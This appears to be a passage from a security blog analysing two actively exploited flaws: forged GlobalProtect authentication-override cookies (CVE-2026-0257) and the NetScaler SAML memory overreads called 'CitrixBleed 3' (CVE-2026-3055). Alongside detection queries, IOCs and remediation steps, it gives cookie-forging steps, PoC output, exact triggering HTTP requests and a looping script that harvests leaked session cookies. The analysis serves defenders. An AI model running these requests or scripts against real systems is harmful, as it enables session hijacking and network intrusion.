The tool is built for defender validation, not attacker tooling. It retrieves the TLS certificate chain from the target, iterates over each certificate’s public key, and attempts to forge a valid authentication override cookie with each one. If the device is misconfigured in the way CVE-2026-0257 requires, one of those forged cookies will be accepted and a VPN session will be established.

$ python3 forge_cookie.py --target 192.168.86.99 --user haxor
[*] Retrieving certificate chain from 192.168.86.99:443 ...
  Found 2 certificate(s) in chain:
  [0] CN=192.168.86.99 (RSA 2048 bits, CA=False)
  [1] CN=GP-Lab-CA (RSA 2048 bits, CA=True)

[*] Forging cookie for user 'haxor', testing each key

  Trying [0] CN=192.168.86.99
  [-] Failure - Gateway did not accepted the forged cookie
  [-] Failure - Portal did not accepted the forged cookie

  Trying [1] CN=GP-Lab-CA
  [+] Success - Gateway accepted the forged cookie
  Cookie: ng9ygxlaclylNXeSHcakXZPK06Fno0svVirz6RhRtA5mDmOaZy...

The second certificate in that chain, the CA certificate, is the one shared with the HTTPS service. The gateway accepted a cookie signed with its own CA’s public key because it never verified that the cookie came from a source it should trust. It only verified that the decryption worked.

Usage options let you specify target username, domain, host ID, client OS, client IP, and whether to test against a portal, gateway, or both. Attackers in the wild used admin as the target username in observed exploitation, which makes sense: shoot for the highest-privilege local account first.

Exploitation Mechanics

Let’s talk about what is actually happening here, because the gap between “authentication bypass” and the mechanics of why deserves more than a paragraph.

The Authentication Override Feature

GlobalProtect supports a convenience feature: rather than requiring users to re-authenticate every time they connect, the portal or gateway can issue an encrypted cookie after a successful authentication. On subsequent connections, the user presents this cookie instead of credentials. The device decrypts it, extracts the claimed identity and session parameters, and lets them in. Think of it like a signed session token, except the signing is done with RSA encryption and there is no separate integrity mechanism layered on top.

This feature is not enabled by default. When it is enabled, there are two configuration checkboxes in play: “Generate cookie for authentication override” (portal/gateway issues the cookie) and “Accept cookie for authentication override” (portal/gateway will honor a cookie on login). The vulnerability is exploitable when the second option is on and the certificate situation is wrong.

The Certificate Reuse Problem

The fix for this vulnerability in isolation is clear: do not use the same certificate for authentication override cookies that you use for your HTTPS service. When you do, an attacker who can complete a TLS handshake with your GlobalProtect portal or gateway will retrieve the certificate chain. That chain contains the public key. That public key is exactly what they need to encrypt a forged cookie.

Looking at the gpsvc binary (Rapid7’s analysis examined PAN-OS 10.2.8), the main_DecryptAppAuthCookie function handles incoming authentication cookies. It base64-decodes the cookie value, then runs RSA decryption using the configured private key. The decrypted content is then treated as trusted session data with no signature verification of any kind performed afterward.

error __gostk main_DecryptAppAuthCookie(
    main_GpTask_0 *t,
    string authCookie,
    string privateCert,
    string *user,
    string *domain,
    string *hostId,
    string *clientOs,
    string *remoteAddr,
    int64 *ts)
{
  if ( privateCert.len )
  {
    *(retval *)&text[48] = paloaltonetworks_com_libs_common_DecryptRsaPrivateWithBase64Std(
                             privateCert,
                             (string)0LL,
                             authCookie);

The function decrypts using the private key and trusts whatever comes out. There is no MAC. There is no signature. There is no challenge-response. If the decryption succeeds, the content is valid. Full stop.

The attacker’s workflow to forge a cookie follows directly from this:

Retrieve the TLS certificate chain from the GlobalProtect portal or gateway HTTPS endpoint
Identify the CA certificate or any certificate in the chain that is shared with the authentication override feature
Construct the expected cookie payload: username, domain, host ID, client OS, remote address, timestamp, and cookie lifetime
Encrypt that payload with the public key from the identified certificate
Base64-encode the result
Submit as the portal-userauthcookie or portal-prelogonuserauthcookie HTTP form parameter in a POST to /ssl-vpn/login.esp

The firewall decrypts it with its own private key, gets back a structurally valid payload, and treats the claimed identity as authenticated. Username is attacker-controlled. Domain is attacker-controlled. The only constraint is that the public key used for encryption must correspond to the private key configured for cookie decryption.

The authentication override cookie encodes the following fields:

Username
Domain name
Host ID
Client OS
Remote address
Timestamp (used to enforce cookie lifetime)

The attacker controls all of these. In the wild, threat actors supplied admin as the username, aa:bb:cc:dd:ee:ff as a spoofed MAC / Host ID, and either GP-CLIENT or DESKTOP-GP01 as the client hostname depending on the wave. The client OS was set to Linux in the first wave and Windows in the second.

The timestamp matters because authentication override cookies have a configurable lifetime. If the timestamp in the forged cookie is too old relative to the configured lifetime, the gateway will reject it. Attackers just set the timestamp to current time, which costs nothing.

Post-Authentication VPN Access

After cookie acceptance, the flow continues like a normal GlobalProtect session. The device assigns a VPN IP address and the client can make requests to internal endpoints. Rapid7 observed POST requests to:

/ssl-vpn/hipreport.esp - submits host information profile data (HIP check results)
/ssl-vpn/getconfig.esp - retrieves VPN tunnel configuration and establishes the secure session

These two requests are the handshake that gets you from “authenticated” to “have an IP on the internal network.” In 8 out of 10 impacted Rapid7 MDR customers, only the cookie probe was observed without a full tunnel being established. In 2 out of 10, the attacker followed through to tunnel establishment.

Considerations and Limitations: What You Can and Cannot See

What the Logs Do and Do Not Capture

GlobalProtect authentication logs record cookie-based authentications. You will see entries like this when exploitation occurs:

1,2026/05/18 01:51:37,010101010101,GLOBALPROTECT,0,2817,2026/05/18 01:51:37,vsys1,gateway-auth,login,Cookie,,admin,US,GP-CLIENT,104.207.144.154,0.0.0.0,0.0.0.0,0.0.0.0,aa:bb:cc:dd:ee:ff,,6.0.0,,Linux,"linux-64",1,,,"Auth latency: 78ms, profile: local_auth_profile",success,,0,,0,GP-Gateway,...

A few things worth noting in that log entry: the authentication type is explicitly Cookie. The client hostname is GP-CLIENT. The MAC address is aa:bb:cc:dd:ee:ff. The source IP is a Vultr-hosted address. The auth profile is local_auth_profile. All of these are attacker-controlled and none of them are validated against anything external.

This is actually the forensic story in miniature: the logs tell you that authentication happened, they tell you the claimed identity, and they tell you every parameter the attacker chose to supply. They do not tell you whether any of it is real. You already know it is not.

What Is Not Left Behind

The forged cookie itself is not stored on the firewall in a form that persists to disk for later analysis. By the time you are doing forensics, the cookie has been decrypted, the fields have been extracted, and the session has been processed. What you have is the authentication log entry, not the raw cryptographic artifact.

There is no file written. There is no command executed. There is no payload dropped. A successful exploitation of CVE-2026-0257 in its basic form is purely a network-layer event: a specially crafted HTTPS POST that the firewall processes as a normal VPN authentication. If the attacker chooses to stop after probing (8 out of 10 customers in the Rapid7 data), your primary evidence of the event is the GlobalProtect authentication log showing a successful cookie login from an unusual source.

For the 2 out of 10 cases where tunnel establishment followed, you also get network traffic from the assigned VPN IP. Whether your network monitoring captures that traffic, and to what depth, determines how much you understand about what the attacker did after they got in.

The CVSS Mismatch Problem

The original 4.7 score reflects a technically constrained scenario: configuration-dependent, no lateral movement observed, access to the network segment rather than a specific target. But GlobalProtect is a VPN appliance. Its entire purpose is to be the boundary between the public internet and your internal network. An unauthenticated remote attacker with a working forged cookie is now inside that boundary.

The “medium severity” framing does not survive contact with reality. Every organization that runs GlobalProtect for remote access has made it network-accessible from the internet by design. This is not a vulnerability in a backend service protected by layers. It is the front door.

Forensic Visibility After the Fact

If you are trying to determine whether you were compromised prior to detection:

The GlobalProtect logs are your primary artifact. The relevant fields are auth type (Cookie), source IP, client hostname, MAC address, and username. For exploitation using the public tooling, you are looking for logins from unusual source IPs with admin as the username, aa:bb:cc:dd:ee:ff as the MAC, and either GP-CLIENT or DESKTOP-GP01 as the client hostname.

The limitation is that none of these fields are validated. A careful attacker can supply plausible-looking values. A fake cookie with a legitimate-looking hostname and a MAC address that matches an expected device format blends into normal authentication traffic. The authentication latency field in the log might be marginally different from legitimate cookie logins, but this is a very weak signal and not reliable.

If the attacker moved laterally from the VPN IP, that activity happens on your internal network and is captured by whatever monitoring you have there, not by the firewall. The firewall’s job ended when it handed out a VPN session.

Detection and Hunting

Primary Detection: GlobalProtect Authentication Logs

The known attacker behavior from in-the-wild exploitation gives you specific hunt queries. The indicators are attacker-controlled, so they can change. Use them as a starting point, not a definitive signal set.

Known attacker IOCs (from Rapid7’s observed exploitation):

Indicator	Type	Description
`104.207.144.154`	IPv4	Wave 1 source IP (Vultr)
`146.19.216.119`	IPv4	Wave 2 source IP (Dromatics Systems)
`146.19.216.120`	IPv4	Wave 2 source IP (Dromatics Systems)
`146.19.216.125`	IPv4	Wave 2 source IP (Dromatics Systems)
`209.99.191.137`	IPv4	Additional TA infrastructure
`79.130.26.202`	IPv4	Additional TA infrastructure
`aa:bb:cc:dd:ee:ff`	MAC	Spoofed MAC observed in both waves
`GP-CLIENT`	Hostname	Fake hostname (Wave 1, Linux)
`DESKTOP-GP01`	Hostname	Fake hostname (Wave 2, Windows)
`Jocker`	Hostname	Associated with 79.130.26.202

Hunt logic (Palo Alto firewall GlobalProtect logs):

# Splunk-style query for suspicious cookie authentications
index=paloalto sourcetype=pan_globalprotect
| where auth_type="Cookie"
| where username="admin"
| stats count by src_ip, username, client_hostname, mac_address, auth_profile, _time
| where count > 1 OR src_ip IN ("104.207.144.154","146.19.216.119",
  "146.19.216.120","146.19.216.125","209.99.191.137","79.130.26.202")

Behavioral detection without IP-based IOCs:

Suspicious cookie auth patterns to look for regardless of IP:

Cookie authentications to local admin accounts (auth profile points to local database)
Cookie authentications from IPs that have no prior credential-based authentication history on the device
MAC address aa:bb:cc:dd:ee:ff or any all-zero or all-f pattern
Client hostnames that do not match your expected endpoint naming conventions
Cookie authentication followed immediately by requests to /ssl-vpn/hipreport.esp and /ssl-vpn/getconfig.esp from a new source IP

Rapid7 detection rules (for InsightIDR / MDR customers):

Suspicious Authentication - Palo Alto GlobalProtect Cookie Authentication to Local Admin Account
Threat Intel (Rapid7 MDR SOC/IR) - VPN Authentication via Spoofed MAC Address
Suspicious VPN Authentication - Palo Alto GlobalProtect Login via Default Hostname
Suspicious VPN Authentication - Local Account Logon via Generic Non-Human Identity
Suspicious Authentication - Vultr
Suspicious Authentication - Dromatics Systems

Checking If You Are Vulnerable Before Hunting

Before hunting for exploitation, check if your configuration is even vulnerable. Rapid7’s forge_cookie.py can tell you quickly:

# Run the PoC against your own appliance in a test window
python3 forge_cookie.py --target <your_gp_ip> --user testuser --verbose

If any certificate in your chain produces a successful cookie, you are vulnerable. This is the fastest way to understand your exposure without waiting for a full audit.

To check manually in the management UI:

Portal: Network > GlobalProtect > Portals > [Portal Name] > Agent > [Config Profile] > Authentication tab
Gateway: Network > GlobalProtect > Gateways > [Gateway Name] > Agent > Client Settings > [Profile] > Authentication Override tab

If either “Generate cookie for authentication override” or “Accept cookie for authentication override” is checked, and the certificate used is also used for the HTTPS service or any other feature, you are in scope.

Remediation and Workarounds

Option 1: Patch (Preferred)

Upgrade to a fixed PAN-OS version per the table in the affected versions section. After patching, the authentication override cookie generation uses a more secure method. All existing cookies will be invalidated on upgrade. Users will need to re-authenticate once. This is expected behavior and a one-time event.

The patch does not remove the authentication override feature. It changes the underlying cryptographic implementation so that forged cookies can no longer be constructed from a public key. Communication about the re-auth requirement to your user base before the upgrade window will prevent a helpdesk surge.

Option 2: Use a Dedicated Certificate for Authentication Override (Mitigation)

If patching immediately is not feasible, generate a certificate that is used exclusively for authentication override cookies and configure GlobalProtect to use it. This certificate must not be shared with the HTTPS service or any other feature. It should be generated fresh, not repurposed.

Steps:

Device > Certificate Management > Certificates > Generate
Create a new certificate with a name that makes its purpose obvious (e.g., GP-AuthOverride-Cert)
Do not install it as the HTTPS/SSL/TLS certificate for the portal or gateway
Configure the portal and gateway authentication override settings to reference this new certificate
Commit and deploy

The public key on this certificate is never exposed via a TLS handshake to the internet. An attacker cannot retrieve it, so they cannot forge cookies encrypted with it.

Option 3: Disable Authentication Override (Maximum Mitigation)

If the operational impact of disabling authentication override is acceptable (users will need to re-authenticate on every new GlobalProtect session), disabling the feature entirely removes the attack surface.

Portal: Network > GlobalProtect > Portals > [Portal] > Agent > [Config] > Authentication tab, uncheck both cookie options.

Gateway: Network > GlobalProtect > Gateways > [Gateway] > Agent > Client Settings > [Profile] > Authentication Override tab, uncheck “Accept cookie for authentication override.”

This is the cleanest option from a security standpoint. It is also the one with the highest operational friction.

Post-Exploitation Response Checklist

If you have confirmed or suspect exploitation occurred:

## Immediate Actions
- [ ] Determine if authentication override cookies were enabled and certificate was shared
- [ ] Pull GlobalProtect logs for the past 30+ days
- [ ] Search logs for Cookie-type authentications from unexpected sources
- [ ] Check for authentications to local admin accounts via cookie
- [ ] Identify any VPN IPs assigned from successful cookie authentications
- [ ] Review network traffic from those VPN IPs during the exploitation window

## Containment
- [ ] Apply mitigation (dedicated cert or disable auth override) immediately
- [ ] Rotate credentials for any local accounts that appeared in forged login events
- [ ] Revoke and reissue any certificates that were shared with the authentication override feature
- [ ] Block known attacker IPs at perimeter if not already covered by threat intel feeds
- [ ] Consider revoking all active GlobalProtect sessions and requiring full re-authentication

## Investigation
- [ ] Generate tech support file from affected appliance before any changes
- [ ] Identify all VPN IPs assigned to authenticated sessions from attacker source IPs
- [ ] Review internal network logs for activity from those VPN IPs
- [ ] Check for lateral movement: authentication attempts, SMB, RDP, or other protocol activity
- [ ] Assess what internal resources are reachable from the VPN IP pool
- [ ] Determine blast radius based on network segmentation

## Recovery
- [ ] Patch to fixed PAN-OS version
- [ ] Generate new dedicated certificate for authentication override if feature is retained
- [ ] Rotate all local credentials on the appliance
- [ ] Review certificate management practices across the environment
- [ ] Verify monitoring coverage for GlobalProtect authentication events going forward

Closing Assessment

CVE-2026-0257 is a clean vulnerability in a bad location. The technical mechanism is straightforward: RSA encryption without integrity verification, using a key that is publicly accessible. The design decision that enabled it was reasonable in isolation. The certificate used for authentication override cookie encryption was also used for TLS, because at the time of configuration, that seemed like a sensible centralization of certificate management. It turns out that decision made the public key available to anyone who could complete a TLS handshake with the appliance.

The four-day gap from disclosure to active exploitation, combined with CISA KEV addition and the CVSS revision from 4.7 to 7.8, tells a familiar story about edge device vulnerabilities: vendor scoring reflects the theoretical baseline. Operational reality accounts for the fact that GlobalProtect is the network perimeter. An authentication bypass in the network perimeter is not a medium-severity configuration issue. It is a door without a lock.

What makes this particularly uncomfortable from a forensic standpoint is how little the attacker leaves behind. The exploitation chain is a single authenticated HTTPS POST. No malware. No persistence mechanism. No files on disk. The session it creates looks identical to a legitimate VPN session in most of your downstream monitoring, because from the firewall’s perspective, it is legitimate. The attacker chose the username, chose the MAC, chose the client hostname, and the device believed all of it.

Detection depends heavily on hunting GlobalProtect authentication logs for cookie-based authentications that do not match expected behavior. The known IOCs from current in-the-wild activity are useful but not durable. A motivated attacker will vary source IPs and fake more convincing client metadata. The behavioral signal that matters most is cookie authentication to local admin accounts, which is something legitimate users almost never do and attackers almost always try.

Patch if you can. If you cannot patch immediately, isolate the authentication override certificate as described above. Either action eliminates the vulnerability. Doing nothing means you are relying on your perimeter to protect your perimeter, which is a philosophical problem as much as a technical one.

References

Vendor Advisory: CVE-2026-0257 PAN-OS: GlobalProtect Authentication Bypass Vulnerabilities
Rapid7 ETR / Observed Exploitation: Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability
Proof-of-Concept: sfewer-r7/CVE-2026-0257
The Hacker News: PAN-OS GlobalProtect Authentication Bypass Under Active Exploitation

CitrixBleed 3 The Franchise Nobody Asked For (CVE-2026-3055)

Sun, 19 Apr 2026 00:00:00 +0000

On March 23, 2026, Citrix (doing business as Cloud Software Group, because enterprise rebranding is a perpetual motion machine) published security bulletin CTX696300 for CVE-2026-3055, a CVSS 9.3 memory overread vulnerability in NetScaler ADC and NetScaler Gateway. The vulnerability allows unauthenticated, remote attackers to read process memory from affected appliances, potentially disclosing active session tokens, authentication material, and other secrets that have no business leaving the box.

If that sounds familiar, it should. This is the third time in roughly thirty months that Citrix NetScaler has produced a critical memory disclosure vulnerability in an authentication path. The first was CitrixBleed (CVE-2023-4966), which LockBit affiliates used to breach Boeing, ICBC, DP World, and others. The second was CitrixBleed 2 (CVE-2025-5777), which saw heavy targeting throughout 2025. CVE-2026-3055 continues the tradition with a new twist: the vulnerability lives in the SAML Identity Provider (IdP) path, and as researchers later discovered, the single CVE ID actually covers at least two distinct memory overread primitives across two different endpoints.

The security community has taken to calling this one “CitrixBleed 3.” At this point, the franchise has more sequels than anyone wanted and the plot hasn’t changed.

Here is the part that matters for anyone still reading: CISA added CVE-2026-3055 to the Known Exploited Vulnerabilities catalog on March 30, 2026, with a federal remediation deadline of April 2, 2026. Active exploitation is confirmed. watchTowr reported exploitation from known threat actor source IPs in their honeypot network as of March 27, 2026. The window between advisory and weaponization was four days. For CitrixBleed, it was about the same. The pattern is predictable at this point.

The Vulnerability

CVE-2026-3055 is classified as CWE-125 (Out-of-bounds Read), resulting from insufficient input validation in NetScaler ADC and NetScaler Gateway when the appliance is configured as a SAML Identity Provider. The CVSS v4.0 vector is AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L, yielding a 9.3. Breaking that down: network-accessible, low complexity, no authentication required, no user interaction, high confidentiality/integrity/availability impact on the vulnerable system, with limited downstream impact on connected systems. The vulnerability does not require authentication. It does not require user interaction. Attack complexity is low. The only prerequisite is that the target appliance is configured as a SAML IdP, which is a common configuration for organizations using single sign-on.

To understand why this matters, consider what a SAML IdP does. It is the box that handles authentication for all your other boxes. When a user wants to access a service, the service redirects them to the IdP, which validates credentials and issues a SAML assertion. Every session token, every authentication credential, every SAML assertion flows through this component’s memory. A vulnerability that reads arbitrary memory in this path is not leaking junk data. It is leaking the keys to the kingdom.

Citrix described the vulnerability as “insufficient input validation leading to memory overread.” What they did not disclose, and what watchTowr subsequently demonstrated, is that CVE-2026-3055 actually encompasses at least two distinct memory overread vulnerabilities affecting two separate endpoints:

/saml/login - The SAML authentication endpoint
/wsfed/passive?wctx - The WS-Federation passive authentication endpoint

Both vulnerabilities exploit the same fundamental weakness: the NetScaler’s C-based XML and parameter parsing code fails to properly validate input boundaries, resulting in reads into uninitialized or previously-freed memory. The data from those reads is then helpfully base64-encoded and returned to the attacker in the NSC_TASS cookie.

A companion vulnerability, CVE-2026-4368 (CVSS 7.7), was disclosed in the same advisory. This is a race condition (CWE-362) leading to user session mixup, affecting only build version 14.1-66.54 when configured as a Gateway or AAA virtual server. While less severe, it can result in one authenticated user’s session being exposed to another user, which is its own flavor of bad.

Timeline

The timeline here moves fast, but the underlying pattern has been in motion for years.

March 23, 2026: Citrix publishes security bulletin CTX696300 disclosing CVE-2026-3055 and CVE-2026-4368. Citrix states the vulnerability was identified internally through their own security review process. No known exploitation at time of disclosure.
March 24, 2026: Rapid7 publishes an Emergent Threat Response, noting the similarity to CitrixBleed and CitrixBleed 2 and assessing that exploitation could begin as soon as exploit code becomes available. Arctic Wolf echoes the assessment.
March 27, 2026: Defused Cyber reports active reconnaissance against NetScaler appliances in their honeypot network. Attackers are probing /cgi/GetAuthMethods to enumerate enabled authentication flows, determining which appliances are configured as SAML IdPs.
March 28, 2026: watchTowr publishes Part 1 of their technical analysis, detailing the /saml/login memory overread. Shadowserver data shows approximately 29,000 NetScaler and 2,250 Gateway instances exposed to the internet.
March 29, 2026: watchTowr publishes Part 2, revealing the second memory overread primitive via /wsfed/passive?wctx. They confirm active exploitation from known threat actor source IPs in their honeypot network as of March 27th. watchTowr also discloses that they found additional memory overread vulnerabilities during their analysis, which they reported to Citrix’s PSIRT.
March 30, 2026: CISA adds CVE-2026-3055 to the Known Exploited Vulnerabilities catalog. Federal agencies given a remediation deadline of April 2, 2026. BleepingComputer confirms active exploitation, citing watchTowr’s findings. NHS England’s National CSOC issues guidance assessing that exploitation will continue.

Four days from advisory to confirmed in-the-wild exploitation. For a vulnerability class that has already been weaponized twice against this exact product, that turnaround should surprise absolutely nobody.

Impacted Versions and Patch Status

Affected Systems

CVE-2026-3055 affects all customer-managed NetScaler ADC and NetScaler Gateway deployments configured as a SAML Identity Provider. Citrix-managed cloud services and Adaptive Authentication instances have been updated automatically and are not affected.

The affected version matrix:

Release Train	Affected Versions	Fixed Version	Status
NetScaler ADC / Gateway 14.1 (60.x train)	Before 14.1-60.58	14.1-60.58	Available
NetScaler ADC / Gateway 14.1 (66.x train)	Before 14.1-66.59	14.1-66.59	Available
NetScaler ADC / Gateway 13.1	Before 13.1-62.23	13.1-62.23	Available
NetScaler ADC 13.1-FIPS	Before 13.1-37.262	13.1-37.262	Available
NetScaler ADC 13.1-NDcPP	Before 13.1-37.262	13.1-37.262	Available
NetScaler 13.0	All versions	None	End-of-life, no patch available

CVE-2026-4368 carries an additional constraint: it only affects build version 14.1-66.54 specifically. Organizations on earlier 14.1 builds that have not yet advanced to 14.1-66.54 are not exposed to that particular flaw, but they remain in scope for CVE-2026-3055 if they fall below 14.1-66.59.

How to Check If You Are Affected

Step 1: Identify your build version.

SSH into your NetScaler and run:

show ns version

Compare the reported build against the fixed version table above. If you are below the fixed build for your release train, proceed to Step 2.

Step 2: Confirm SAML IdP configuration (CVE-2026-3055).

show authentication samlIdPProfile

If output is returned (anything other than “No entries found”), the appliance is configured as a SAML IdP and is vulnerable until patched. An alternative check via the running configuration:

show runningConfig | grep "add authentication samlIdPProfile"

Step 3: Confirm Gateway/AAA configuration (CVE-2026-4368).

For CVE-2026-4368 (only relevant if running build 14.1-66.54 specifically), check for:

show vpn vserver
show authentication vserver

Important Notes

NetScaler 13.0 is end-of-life and will not receive a security update. If you are running 13.0, migration to a supported version is not optional. It is mandatory.

Note the two parallel release trains within the 14.1 branch: 14.1-60.x and 14.1-66.x. Citrix lists fixed versions for both. Organizations should upgrade to whichever fixed build corresponds to their current release train, or move to the latest available build. The practical takeaway: if you are on 14.1 and below either 14.1-60.58 or 14.1-66.59 (depending on your train), you are affected. When in doubt, run show ns version from the CLI and compare against the fixed version table above.

Proof of Concept Details

watchTowr published detailed technical analysis and a detection artifact generator (not a weaponized exploit, but functionally close) across two blog posts on March 28-29, 2026. No formal “weaponized” PoC was released by the initial advisory date, but the information watchTowr published provides sufficient technical detail for a competent attacker to reproduce exploitation.

Vulnerability Check (from watchTowr)

The simplest check for whether an appliance is vulnerable:

For /saml/login endpoint:

Send a POST request to /saml/login with a minimal SAMLRequest payload that omits the AssertionConsumerServiceURL field:

POST /saml/login HTTP/1.1
Host: <target>
Content-Length: 336

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIA0KSUQ9Il8xMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEiIA0KVmVyc2lvbj0iMi4wIj4NCjxzYW1sOklzc3Vlcj5hPC9zYW1sOklzc3Vlcj4NCjwvc2FtbHA6QXV0aG5SZXF1ZXN0Pg%3D%3D

If the response returns an NSC_TASS cookie: vulnerable
If the response returns Parsing of presented Assertion failed; Please contact your administrator: patched

For /wsfed/passive?wctx endpoint:

GET /wsfed/passive?wctx HTTP/1.1
Host: <target>

If the response returns an NSC_TASS cookie: vulnerable
If the response returns a 302 redirect to / with no NSC_TASS cookie: patched

Detection Artifact Generator

watchTowr released a Python script designed to help defenders identify vulnerable hosts. It repeatedly sends requests to the /wsfed/passive?wctx endpoint and parses the NSC_TASS cookie for leaked memory content:

import base64
import requests
import urllib3

urllib3.disable_warnings()

while True:
    try:
        resp = requests.get("https://<host>/wsfed/passive?wctx", verify=False, allow_redirects=False)
        tass = resp.cookies.get('NSC_TASS', None)
        if tass is None:
            continue
        tassText = base64.b64decode(tass)
        memIdx = tassText.find(b'wctx=')
        if memIdx != -1:
            bled = tassText[memIdx+5:]
            cookiePos = bled.find(b'Cookie')
            if cookiePos != -1:
                print(bled[cookiePos:].decode('ascii', errors='ignore'))
    except Exception:
        pass

This script is functional for detection purposes. It is also functionally equivalent to what an attacker would use.

Technical Exploitation Analysis

To understand CVE-2026-3055, you need to understand three things: how NetScaler handles SAML, how C handles strings (poorly), and how memory reuse in a high-throughput appliance turns a parsing mistake into a credential disclosure vulnerability.

The Architecture

NetScaler’s SAML IdP implementation is written in C. This is relevant because SAML is based on XML, and writing XML parsing code in C is roughly the equivalent of performing surgery with a butter knife. It can be done. It should not be done. Citrix did it anyway.

When an appliance is configured as a SAML IdP, it exposes several endpoints. The two relevant to this vulnerability are:

/saml/login - Accepts SAML AuthnRequest messages via POST (base64-encoded XML in the SAMLRequest parameter) or GET (base64-encoded and compressed)
/wsfed/passive - Handles WS-Federation passive authentication flows

Both endpoints process incoming authentication requests, extract parameters from the request data, and construct internal state that gets serialized into the NSC_TASS cookie for cross-request continuity during the authentication flow.

NSC_TASS (NetScaler Token Authorization Service State) is an internal cookie that NetScaler uses to carry state across the multi-step authentication flow. Under normal conditions, its base64-decoded content follows a predictable structure:

<idp_name>\x00<key1>=<value1>&<key2>=<value2>&...\x00

For example, a legitimate cookie from a SAML login flow decodes to:

asdf\x00ID=_abc123&bind=post&ACSURL=http://sp.example.com/acs\x00

The fields (ID, bind, ACSURL) are populated from the parsed SAMLRequest XML or WS-Federation query parameters. The values are null-terminated C strings. This is relevant because when a field’s buffer is never initialized (because the attacker omitted the corresponding input), the null terminator that would normally bound the read is absent, and the code walks forward through adjacent heap memory until it encounters one from a different allocation.

Heap Reuse and Why Production Environments Bleed More

NetScaler’s HTTP processing engine is a high-throughput, multi-threaded C application that handles potentially thousands of concurrent authentication requests. Memory is allocated and freed rapidly as requests are processed. When a buffer is freed, its contents are not zeroed. The allocator marks the region as available but the data remains intact until the region is reused for a new allocation.

This means that at any given moment, the process heap contains a mix of live allocations (active session data, in-flight requests) and freed allocations (previous session tokens, completed SAML assertions, processed LDAP bind results). When the memory overread follows an uninitialized pointer into this heap, it reads whatever data was last written there.

On a quiet lab appliance with no traffic, most freed regions contain stale test data or allocator fill patterns like 0xDEADBEEF. On a busy production appliance processing real authentication traffic, those same regions contain recent session cookies, SAML assertions with user attributes, LDAP bind credentials, and HTTP request headers from other users. The busier the appliance, the fresher and more valuable the leaked data tends to be.

Vulnerability Primitive 1: /saml/login Memory Overread

The SAML login endpoint processes a base64-decoded XML document containing the AuthnRequest. From this XML, the NetScaler extracts several fields including AssertionConsumerServiceURL, ProtocolBinding, and ID.

These extracted values are written into an internal buffer and eventually serialized into the NSC_TASS cookie. The critical flaw is what happens when these fields are absent from the XML payload.

Under normal operation, a legitimate SAML request would include all expected fields:

<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
Version="2.0" ProviderName="my provider"
IssueInstant="2026-03-27T04:13:00Z"
Destination="http://watchtowr/saml.php"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
AssertionConsumerServiceURL="http://watchtowr/saml.php?acs">
  <saml:Issuer>http://watchtowr/saml.php</saml:Issuer>
</samlp:AuthnRequest>

The response cookie would then contain the extracted values in a structured format:

asdf\x00ID=&bind=post&ACSURL=http://watchtowr/saml.php?acs\x00

When the attacker omits the AssertionConsumerServiceURL field entirely, the parsing code does not properly initialize the corresponding buffer. Instead of returning an empty value or rejecting the request, the code reads from whatever memory happened to be at that address, which typically contains data left over from previous requests or operations.

watchTowr demonstrated this by submitting a minimal request:

<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_111111111111111111111111111111111111"
Version="2.0">
<saml:Issuer>a</saml:Issuer>
</samlp:AuthnRequest>

The resulting NSC_TASS cookie contained:

00000000  61 73 64 66 00 49 44 3d  5f 31 31 31 31 31 31 31  |asdf.ID=_1111111|
00000010  31 31 31 31 31 31 31 31  31 31 31 31 31 31 31 31  |1111111111111111|
00000020  31 31 31 31 31 31 31 31  31 31 31 31 31 26 62 69  |1111111111111&bi|
00000030  6e 64 3d 70 6f 73 74 26  41 43 53 55 52 4c 3d 69  |nd=post&ACSURL=i|
00000040  64 3d 41 41 41 41 41 41  41 ef be ad de ed a7 0c  |d=AAAAAAA.......|
00000050  a1 35 00                                          |.5.|

The ACSURL= field contains id=AAAAAAA followed by 0xDEADBEEF (the ef be ad de bytes). The id=AAAAAAA fragment is residual data from a prior request. The 0xDEADBEEF is a memory fill pattern used to mark freed memory. The appliance is reading past the intended buffer boundary and returning whatever it finds.

There are practical limitations to this primitive. The extracted fields are individually capped at approximately 100 bytes, and the read terminates on a NULL byte. On a quiet lab appliance, useful memory disclosure is inconsistent; hundreds of requests may return nothing interesting before one yields data. However, in a production environment with active user sessions generating continuous memory allocation and deallocation, the probability of hitting interesting data increases significantly.

Vulnerability Primitive 2: /wsfed/passive?wctx Memory Overread

This is the more dangerous of the two primitives, and it is embarrassingly simple to trigger.

The entire exploit request:

GET /wsfed/passive?wctx HTTP/1.1
Host: <target>

That is it. A single GET request with a wctx query parameter that is present but has no value and no = sign.

The vulnerable code checks for the presence of the wctx parameter but does not verify that it has an associated value. When the parameter exists without data, the code attempts to access a buffer that was never populated. Since the buffer pointer references uninitialized memory, the code reads whatever happens to be at that address.

Unlike the /saml/login primitive, this one has no 100-byte field limitation. The leaked memory arrives base64-encoded in the NSC_TASS cookie and can contain kilobytes of data per request. watchTowr demonstrated responses containing over 2,400 bytes of raw memory per request, including:

HTTP request headers from other users’ sessions
Internal request metadata including Citrix-ns-orig-srcip headers
Session identifiers
Authentication tokens
And in one demonstrated case, an authenticated administrative session ID

The memory content is dynamic. Sending the same request twice returns different memory regions. An attacker running this in a loop against a busy production appliance can accumulate a significant corpus of leaked memory in minutes.

watchTowr showed that by extracting a leaked administrative session cookie and injecting it into a browser, they achieved full administrative access to the target NetScaler appliance. No credentials required. No authentication bypassed. Just memory that was never supposed to leave the process, served up in a cookie.

The Underlying Root Cause

Both primitives share the same root cause: C string handling that fails to validate buffer state before reading. In the /saml/login case, the XML parser does not initialize output buffers when expected XML attributes are missing. In the /wsfed/passive case, the query string parser checks for parameter name presence without validating that a value exists.

